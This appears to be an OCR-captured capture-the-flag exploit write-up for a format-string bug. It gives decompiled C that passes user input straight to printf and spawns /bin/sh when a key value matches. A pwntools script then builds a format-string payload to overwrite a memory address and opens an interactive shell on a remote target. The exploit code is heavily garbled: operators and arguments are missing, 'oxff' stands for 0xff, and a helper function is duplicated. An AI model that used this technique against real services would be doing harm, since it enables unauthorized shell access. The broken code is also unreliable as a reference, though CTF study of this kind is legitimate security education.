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int _ cdecl main(int argc, const char **argv, const char **envp)

locker();
return 8;

}

locker()
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int locker()
{
int result; // eax
char s; // [esp+8h] [ebp-288h]

fgets(&s, 512, stdin);
imagemagic(&sz);
if { key == 35795746 )

~esult = system("/bin/sh™);

imagemagic()

int _ cdecl imagemagic(char *format)

return printf(format);

}
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def fmt(prev, word, index):
if prev < word:
result word prev
fmtstr (result)
elif prev word:
result (%]
else:
result 256 word prev
fmtstr (result)
fmtstr (index)

return fmtstr

fmt_str(offset, size, addr, target):

payload
for i in (4):
if size 4:
payload p32(addr
else:
payload p64(addr
prev (payload)
for i in (4):
payload fmt(prev, (target i oxff, offset
prev (target i 8) oxff
return payload

0x2 exp



from pwn import

sh remote(
def fmt(prev, word, index):
if prev word:
result word prev
fmtstr (result)
elif prev word:
result (%]
else:
result word prev
fmtstr (result)
fmtstr (index)

return fmtstr

fmt_str(offset, size, addr, target):
payload
for i in (4):
if size 4:
payload p32(addr
else:
payload p64(addr
prev (payload)
for i in (4):
payload fmt(prev, (target i ) oxff, offset
prev (target i* 8) oxff
return payload

payload = fmt_str(12, 4, 0x0804A048, 0x2223322)

sh.sendline(payload)

sh.interactive()
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